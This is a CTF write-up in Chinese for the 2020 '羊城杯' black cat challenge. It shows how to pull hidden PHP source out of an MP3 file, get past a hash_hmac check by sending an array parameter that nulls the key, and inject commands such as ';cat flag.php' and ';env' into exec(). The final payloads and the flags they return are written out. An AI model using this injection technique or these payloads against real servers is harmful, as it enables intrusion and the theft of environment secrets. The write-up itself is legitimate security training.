[羊城杯 2020]black cat - 文件隐写+RCE(hash_hmac绕过)

[羊城杯 2020]black cat

  • 1 解题流程
    • 1.1 第一步
    • 1.2 第二步
    • 1.3 第三步

[羊城杯 2020]black cat - 文件隐写+RCE(hash_hmac绕过)_第1张图片

1 解题流程

1.1 第一步

  1. 打开网站有首歌,按F12也是提示听歌,ctf-wscan扫描就flag.php
  2. 下载歌,用010打开,发现有一段内容
    if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
        die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
    }
    $clandestine = getenv("clandestine");		//获取环境变量
    if(isset($_POST['White-cat-monitor']))
        $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
    $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
    if($hh !== $_POST['Black-Cat-Sheriff']){
       die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
    }
    echo exec("nc".$_POST['One-ear']);
    

1.2 第二步

  1. 这题要post这几个参数:Black-Cat-Sheriff、One-ear、White-cat-monitor
    这里有3个if,首先第一个肯定绕过;
          第二个if里面存在hash_hmac函数,只要我们传数组就能让盐是空,即第一次加密的clandestine是空
          第三个因为盐是空所以只有普通加密,Black-Cat-Sheriff传对应加密结果就行
    特性:MD5、sha特性是无法识别数组,只要是数组加密,就会变成null,所以White-cat-monitor采用数组绕过
  2. 最后一个if判断,编写一个脚本,生成加密结果
    
    	$hh = hash_hmac('sha256',';cat flag.php', null);
    	echo $hh;
    ?>
    结果:04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
    
  3. exec(‘nc’.) 这里拼接命令,如果直接传cat flag.php会变成 => exec('nc’cat flag.php)无法执行
    只要是系统命令的执行,可以通过;来拼接命令,所以one-ear=;cat flag.php => exec('nc';cat flag.php)

1.3 第三步

我先用ls ls …/ ls /等都没结果,考虑其他

  1. ?Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;dir&White-cat-monitor[]=1
    得到: Hei_Mao_Jing_Chang.mp3 flag.php index.php js scss
  2. Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
    得到: “GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}”;
    提交后发现这个flag是错的
  3. 如果cat flag.php没出来,就cat /flag,或者env
    Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env&White-cat-monitor[]=1
    得到:FLAG=flag{e325e53c-76d2-40b8-a41a-4dd88185afdb}

你可能感兴趣的:(CTF-WEB,哈希算法,web安全,安全,ctf,php,RCE,文件隐写)